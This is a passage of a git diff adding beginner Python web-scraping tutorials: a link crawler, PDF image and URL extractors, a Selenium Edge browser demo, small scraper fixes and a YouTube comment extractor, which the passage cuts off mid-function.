max_urls=30): + """ + Crawls a web page and extracts all links. + You'll find all links in `external_urls` and `internal_urls` global set variables. + params: + max_urls (int): number of max urls to crawl, default is 30. + """ + global total_urls_visited + total_urls_visited += 1 + print(f"{YELLOW}[*] Crawling: {url}{RESET}") + links = get_all_website_links(url) + for link in links: + if total_urls_visited > max_urls: + break + crawl(link, max_urls=max_urls) + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Link Extractor Tool with Python") + parser.add_argument("url", help="The URL to extract links from.") + parser.add_argument("-m", "--max-urls", help="Number of max URLs to crawl, default is 30.", default=30, type=int) + + args = parser.parse_args() + url = args.url + max_urls = args.max_urls + domain_name = urlparse(url).netloc + crawl(url, max_urls=max_urls) + + print("[+] Total Internal links:", len(internal_urls)) + print("[+] Total External links:", len(external_urls)) + print("[+] Total URLs:", len(external_urls) + len(internal_urls)) + print("[+] Total crawled URLs:", max_urls) + + + # save the internal links to a file + with open(f"{domain_name}_internal_links.txt", "w") as f: + for internal_link in internal_urls: + print(internal_link.strip(), file=f) + + # save the external links to a file + with open(f"{domain_name}_external_links.txt", "w") as f: + for external_link in external_urls: + print(external_link.strip(), file=f) + \ No newline at end of file diff --git a/web-scraping/link-extractor/requirements.txt b/web-scraping/link-extractor/requirements.txt index 20355cca..824ab624 100644 --- a/web-scraping/link-extractor/requirements.txt +++ b/web-scraping/link-extractor/requirements.txt @@ -1,3 +1,4 @@ requests bs4 -colorama \ No newline at end of file +colorama +requests_html diff --git a/web-scraping/pdf-image-extractor/1710.05006.pdf b/web-scraping/pdf-image-extractor/1710.05006.pdf new file mode 100644 index 00000000..f8fcc4b4 Binary files /dev/null and b/web-scraping/pdf-image-extractor/1710.05006.pdf differ diff --git a/web-scraping/pdf-image-extractor/README.md b/web-scraping/pdf-image-extractor/README.md new file mode 100644 index 00000000..3f3826ff --- /dev/null +++ b/web-scraping/pdf-image-extractor/README.md @@ -0,0 +1,31 @@ +# [How to Extract Images from PDF in Python](https://www.thepythoncode.com/article/extract-pdf-images-in-python) +To run this: +- `pip3 install -r requirements.txt` +- To extract and save all images of `1710.05006.pdf` PDF file, you run: + ``` + python pdf_image_extractor.py 1710.05006.pdf + ``` + This will save all available images in the current directory and outputs: + ``` + [!] No images found on page 0 + [+] Found a total of 3 images in page 1 + [+] Found a total of 3 images in page 2 + [!] No images found on page 3 + [!] No images found on page 4 + ``` +- To extract and save all images of 800x800 and higher of `1710.05006.pdf` PDF file, and save them in `images` directory in the PNG format, you run: + ``` + python pdf_image_extractor_cli.py 1710.05006.pdf -o extracted-images -f png -w 800 -he 800 + ``` + This will save all available images in the `images` directory and outputs: + ``` + [!] No images found on page 0 + [+] Found a total of 3 images in page 1 + [-] Skipping image 1 on page 1 due to its small size. + [-] Skipping image 2 on page 1 due to its small size. + [-] Skipping image 3 on page 1 due to its small size. + [+] Found a total of 3 images in page 2 + [-] Skipping image 2 on page 2 due to its small size. + [!] No images found on page 3 + [!] No images found on page 4 + ``` \ No newline at end of file diff --git a/web-scraping/pdf-image-extractor/pdf_image_extractor.py b/web-scraping/pdf-image-extractor/pdf_image_extractor.py new file mode 100644 index 00000000..2e873aec --- /dev/null +++ b/web-scraping/pdf-image-extractor/pdf_image_extractor.py @@ -0,0 +1,48 @@ +import os +import fitz # PyMuPDF +import io +from PIL import Image + +# Output directory for the extracted images +output_dir = "extracted_images" +# Desired output image format +output_format = "png" +# Minimum width and height for extracted images +min_width = 100 +min_height = 100 +# Create the output directory if it does not exist +if not os.path.exists(output_dir): + os.makedirs(output_dir) +# File path you want to extract images from +file = "1710.05006.pdf" +# Open the file +pdf_file = fitz.open(file) +# Iterate over PDF pages +for page_index in range(len(pdf_file)): + # Get the page itself + page = pdf_file[page_index] + # Get image list + image_list = page.get_images(full=True) + # Print the number of images found on this page + if image_list: + print(f"[+] Found a total of {len(image_list)} images in page {page_index}") + else: + print(f"[!] No images found on page {page_index}") + # Iterate over the images on the page + for image_index, img in enumerate(image_list, start=1): + # Get the XREF of the image + xref = img[0] + # Extract the image bytes + base_image = pdf_file.extract_image(xref) + image_bytes = base_image["image"] + # Get the image extension + image_ext = base_image["ext"] + # Load it to PIL + image = Image.open(io.BytesIO(image_bytes)) + # Check if the image meets the minimum dimensions and save it + if image.width >= min_width and image.height >= min_height: + image.save( + open(os.path.join(output_dir, f"image{page_index + 1}_{image_index}.{output_format}"), "wb"), + format=output_format.upper()) + else: + print(f"[-] Skipping image {image_index} on page {page_index} due to its small size.") diff --git a/web-scraping/pdf-image-extractor/pdf_image_extractor_cli.py b/web-scraping/pdf-image-extractor/pdf_image_extractor_cli.py new file mode 100644 index 00000000..2eccc896 --- /dev/null +++ b/web-scraping/pdf-image-extractor/pdf_image_extractor_cli.py @@ -0,0 +1,58 @@ +import os +import fitz # PyMuPDF +import io +from PIL import Image +import argparse + +parser = argparse.ArgumentParser(description="Extract images from a PDF file.") +parser.add_argument("file", help="PDF file to extract images from.") +parser.add_argument("-o", "--output", help="Output directory for the extracted images.", default="extracted_images") +parser.add_argument("-f", "--format", help="Desired output image format, default is PNG.", default="png") +parser.add_argument("-w", "--width", help="Minimum width for extracted images, default is 100.", default=100, type=int) +parser.add_argument("-he", "--height", help="Minimum height for extracted images, default is 100.", default=100, type=int) +# Parse the arguments +args = parser.parse_args() + +# Output directory for the extracted images +output_dir = args.output +# Desired output image format +output_format = args.format +# Minimum width and height for extracted images +min_width = args.width +min_height = args.height +# Create the output directory if it does not exist +if not os.path.exists(output_dir): + os.makedirs(output_dir) +# File path you want to extract images from +file = args.file +# Open the file +pdf_file = fitz.open(file) +# Iterate over PDF pages +for page_index in range(len(pdf_file)): + # Get the page itself + page = pdf_file[page_index] + # Get image list + image_list = page.get_images(full=True) + # Print the number of images found on this page + if image_list: + print(f"[+] Found a total of {len(image_list)} images in page {page_index}") + else: + print(f"[!] No images found on page {page_index}") + # Iterate over the images on the page + for image_index, img in enumerate(image_list, start=1): + # Get the XREF of the image + xref = img[0] + # Extract the image bytes + base_image = pdf_file.extract_image(xref) + image_bytes = base_image["image"] + # Get the image extension + image_ext = base_image["ext"] + # Load it to PIL + image = Image.open(io.BytesIO(image_bytes)) + # Check if the image meets the minimum dimensions and save it + if image.width >= min_width and image.height >= min_height: + image.save( + open(os.path.join(output_dir, f"image{page_index + 1}_{image_index}.{output_format}"), "wb"), + format=output_format.upper()) + else: + print(f"[-] Skipping image {image_index} on page {page_index} due to its small size.") diff --git a/web-scraping/pdf-image-extractor/requirements.txt b/web-scraping/pdf-image-extractor/requirements.txt new file mode 100644 index 00000000..2d431b0f --- /dev/null +++ b/web-scraping/pdf-image-extractor/requirements.txt @@ -0,0 +1 @@ +PyMuPDF \ No newline at end of file diff --git a/web-scraping/pdf-url-extractor/1710.05006.pdf b/web-scraping/pdf-url-extractor/1710.05006.pdf new file mode 100644 index 00000000..f8fcc4b4 Binary files /dev/null and b/web-scraping/pdf-url-extractor/1710.05006.pdf differ diff --git a/web-scraping/pdf-url-extractor/1810.04805.pdf b/web-scraping/pdf-url-extractor/1810.04805.pdf new file mode 100644 index 00000000..2394716b Binary files /dev/null and b/web-scraping/pdf-url-extractor/1810.04805.pdf differ diff --git a/web-scraping/pdf-url-extractor/README.md b/web-scraping/pdf-url-extractor/README.md new file mode 100644 index 00000000..3c54c048 --- /dev/null +++ b/web-scraping/pdf-url-extractor/README.md @@ -0,0 +1,4 @@ +# [How to Extract All PDF Links in Python](https://www.thepythoncode.com/article/extract-pdf-links-with-python) +To run this: +- `pip3 install -r requirements.txt` +- Use `pdf_link_extractor.py` to get clickable links, and `pdf_link_extractor_regex.py` to get links that are in text form. \ No newline at end of file diff --git a/web-scraping/pdf-url-extractor/pdf_link_extractor.py b/web-scraping/pdf-url-extractor/pdf_link_extractor.py new file mode 100644 index 00000000..f8ba7423 --- /dev/null +++ b/web-scraping/pdf-url-extractor/pdf_link_extractor.py @@ -0,0 +1,15 @@ +import pikepdf # pip3 install pikepdf + +file = "1810.04805.pdf" +# file = "1710.05006.pdf" +pdf_file = pikepdf.Pdf.open(file) +urls = [] +# iterate over PDF pages +for page in pdf_file.pages: + for annots in page.get("/Annots"): + uri = annots.get("/A").get("/URI") + if uri is not None: + print("[+] URL Found:", uri) + urls.append(uri) + +print("[*] Total URLs extracted:", len(urls)) \ No newline at end of file diff --git a/web-scraping/pdf-url-extractor/pdf_link_extractor_regex.py b/web-scraping/pdf-url-extractor/pdf_link_extractor_regex.py new file mode 100644 index 00000000..75d42042 --- /dev/null +++ b/web-scraping/pdf-url-extractor/pdf_link_extractor_regex.py @@ -0,0 +1,22 @@ +import fitz # pip install PyMuPDF +import re + +# a regular expression of URLs +url_regex = r"https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)" +# extract raw text from pdf +# file = "1710.05006.pdf" +file = "1810.04805.pdf" +# open the PDF file +with fitz.open(file) as pdf: + text = "" + for page in pdf: + # extract text of each PDF page + text += page.getText() +urls = [] +# extract all urls using the regular expression +for match in re.finditer(url_regex, text): + url = match.group() + print("[+] URL Found:", url) + urls.append(url) +print("[*] Total URLs extracted:", len(urls)) + diff --git a/web-scraping/pdf-url-extractor/requirements.txt b/web-scraping/pdf-url-extractor/requirements.txt new file mode 100644 index 00000000..23e73462 --- /dev/null +++ b/web-scraping/pdf-url-extractor/requirements.txt @@ -0,0 +1,2 @@ +pikepdf +PyMuPDF \ No newline at end of file diff --git a/web-scraping/selenium-edge-browser/README.md b/web-scraping/selenium-edge-browser/README.md new file mode 100644 index 00000000..9ce66416 --- /dev/null +++ b/web-scraping/selenium-edge-browser/README.md @@ -0,0 +1,4 @@ +# [Automated Browser Testing with Edge and Selenium in Python](https://www.thepythoncode.com/article/automated-browser-testing-with-edge-and-selenium-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Run `main1.py` or `main2.py` \ No newline at end of file diff --git a/web-scraping/selenium-edge-browser/main1.py b/web-scraping/selenium-edge-browser/main1.py new file mode 100644 index 00000000..55f35b91 --- /dev/null +++ b/web-scraping/selenium-edge-browser/main1.py @@ -0,0 +1,8 @@ +# importing required package of webdriver +from selenium import webdriver +# Just Run this to execute the below script +if __name__ == '__main__': + # Instantiate the webdriver with the executable location of MS Edge web driver + browser = webdriver.Edge(r"C:\Users\LenovoE14\Downloads\edgedriver\msedgedriver.exe") + # Simply just open a new Edge browser and go to lambdatest.com + browser.get('https://www.lambdatest.com/') \ No newline at end of file diff --git a/web-scraping/selenium-edge-browser/main2.py b/web-scraping/selenium-edge-browser/main2.py new file mode 100644 index 00000000..993f7a53 --- /dev/null +++ b/web-scraping/selenium-edge-browser/main2.py @@ -0,0 +1,37 @@ +# importing required package of webdriver + +from selenium import webdriver +from selenium.webdriver.chrome.options import Options +from time import sleep +from selenium.webdriver.support import expected_conditions as EC +from selenium.webdriver.common.by import By +from selenium.common.exceptions import TimeoutException +from selenium.webdriver.support.ui import WebDriverWait +from selenium.webdriver.opera.options import Options +# Just Run this main.py to execute the below script +from selenium.webdriver.support.wait import WebDriverWait + +if __name__ == '__main__': + # Instantiate the webdriver with the executable location of MS Edge + browser = webdriver.Edge(r"C:\Users\LenovoE14\Downloads\edgedriver\msedgedriver.exe") + # Simply just open a new Edge browser and go to lambdatest.com + browser.maximize_window() + browser.get('https://www.lambdatest.com/') + + try: + # Get the text box to insert Email using selector ID + myElem_1 = WebDriverWait(browser, 10).until(EC.presence_of_element_located((By.ID, 'useremail'))) + # Entering the email address + myElem_1.send_keys("rishabhps@lambdatest.com") + myElem_1.click() + # Get the Submit button to click and start free testing using selector CSS_SELECTOR + myElem_2 = WebDriverWait(browser, 10).until(EC.element_to_be_clickable((By.CSS_SELECTOR, "#testing_form > div"))) + # Starting free testing on LambdaTest + myElem_2.click() + sleep(10) + except TimeoutException: + print("No element found") + + sleep(10) + + browser.close() \ No newline at end of file diff --git a/web-scraping/selenium-edge-browser/requirements.txt b/web-scraping/selenium-edge-browser/requirements.txt new file mode 100644 index 00000000..d69ae6ef --- /dev/null +++ b/web-scraping/selenium-edge-browser/requirements.txt @@ -0,0 +1,2 @@ +selenium==3.141 +msedge-selenium-tools \ No newline at end of file diff --git a/web-scraping/weather-extractor/weather.py b/web-scraping/weather-extractor/weather.py index 3aa67df7..5df77776 100644 --- a/web-scraping/weather-extractor/weather.py +++ b/web-scraping/weather-extractor/weather.py @@ -2,7 +2,7 @@ from bs4 import BeautifulSoup as bs import requests -USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" +USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36" # US english LANGUAGE = "en-US,en;q=0.5" @@ -35,7 +35,7 @@ def get_weather_data(url): days = soup.find("div", attrs={"id": "wob_dp"}) for day in days.findAll("div", attrs={"class": "wob_df"}): # extract the name of the day - day_name = day.find("div", attrs={"class": "vk_lgy"}).attrs['aria-label'] + day_name = day.findAll("div")[0].attrs['aria-label'] # get weather status for that day weather = day.find("img").attrs["alt"] temp = day.findAll("span", {"class": "wob_t"}) @@ -58,7 +58,9 @@ def get_weather_data(url): # parse arguments args = parser.parse_args() region = args.region - URL += region + if region: + region = region.replace(" ", "+") + URL += f"+{region}" # get data data = get_weather_data(URL) # print data diff --git a/web-scraping/wikipedia-extractor/wikipedia_extractor.py b/web-scraping/wikipedia-extractor/wikipedia_extractor.py index f3014f67..e46bf97b 100644 --- a/web-scraping/wikipedia-extractor/wikipedia_extractor.py +++ b/web-scraping/wikipedia-extractor/wikipedia_extractor.py @@ -36,3 +36,11 @@ print("References:", references, "\n") print("Summary:", summary, "\n") +# changing language +# for a list of available languages, +# check http://meta.wikimedia.org/wiki/List_of_Wikipedias link. +language = "es" +wikipedia.set_lang(language) +# get a page and print the summary in the new language +print(f"Summary of web scraping in {language}:", wikipedia.page("Web Scraping").summary) + diff --git a/web-scraping/youtube-comments-extractor/README.md b/web-scraping/youtube-comments-extractor/README.md new file mode 100644 index 00000000..c33c2b1d --- /dev/null +++ b/web-scraping/youtube-comments-extractor/README.md @@ -0,0 +1,27 @@ +# [How to Extract YouTube Comments in Python](https://www.thepythoncode.com/article/extract-youtube-comments-in-python) +To run this: +- `pip3 install -r requirements.txt` +- ``` + python youtube_comment_extractor.py --help + ``` + **Output:** + ``` + usage: youtube_comment_extractor.py [-h] [-l LIMIT] [-o OUTPUT] url + + Simple YouTube Comment extractor + + positional arguments: + url The YouTube video full URL + + optional arguments: + -h, --help show this help message and exit + -l LIMIT, --limit LIMIT + Number of maximum comments to extract, helpful for + longer videos + -o OUTPUT, --output OUTPUT + Output JSON file, e.g data.json + ``` +- To download the latest 50 comments from https://www.youtube.com/watch?v=jNQXAC9IVRw and save them to `data.json`: + ``` + python youtube_comment_extractor.py https://www.youtube.com/watch?v=jNQXAC9IVRw --limit 50 --output data.json + ``` \ No newline at end of file diff --git a/web-scraping/youtube-comments-extractor/requirements.txt b/web-scraping/youtube-comments-extractor/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/web-scraping/youtube-comments-extractor/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/web-scraping/youtube-comments-extractor/youtube_comment_extractor.py b/web-scraping/youtube-comments-extractor/youtube_comment_extractor.py new file mode 100644 index 00000000..476c85e1 --- /dev/null +++ b/web-scraping/youtube-comments-extractor/youtube_comment_extractor.py @@ -0,0 +1,161 @@ +import requests +import json +import time + +# Code is partially grabbed from this repository: +# https://github.com/egbertbouman/youtube-comment-downloader + +def search_dict(partial, key): + """ + A handy function that searches for a specific `key` in a `data` dictionary/list + """ + if isinstance(partial, dict): + for k, v in partial.items(): + if k == key: + # found the key, return the value + yield v + else: + # value of the dict may be another dict, so we search there again + for o in search_dict(v, key): + yield o + elif isinstance(partial, list): + # if the passed data is a list + # iterate over it & search for the key at the items in the list + for i in partial: + for o in search_dict(i, key): + yield o + + +def find_value(html, key, num_sep_chars=2, separator='"'): + # define the start position by the position of the key + + # length of key + separator length (usually : and ") + start_pos = html.find(key) + len(key) + num_sep_chars + # the end position is the position of the separator (such as ") + # starting from the start_pos + end_pos = html.find(separator, start_pos) + # return the content in this range + return html[start_pos:end_pos] + + +def get_comments(url): + session = requests.Session() + # make the request + res = session.get(url) + # extract the XSRF token + xsrf_token = find_value(res.text, "XSRF_TOKEN", num_sep_chars=3) + # parse the YouTube initial data in the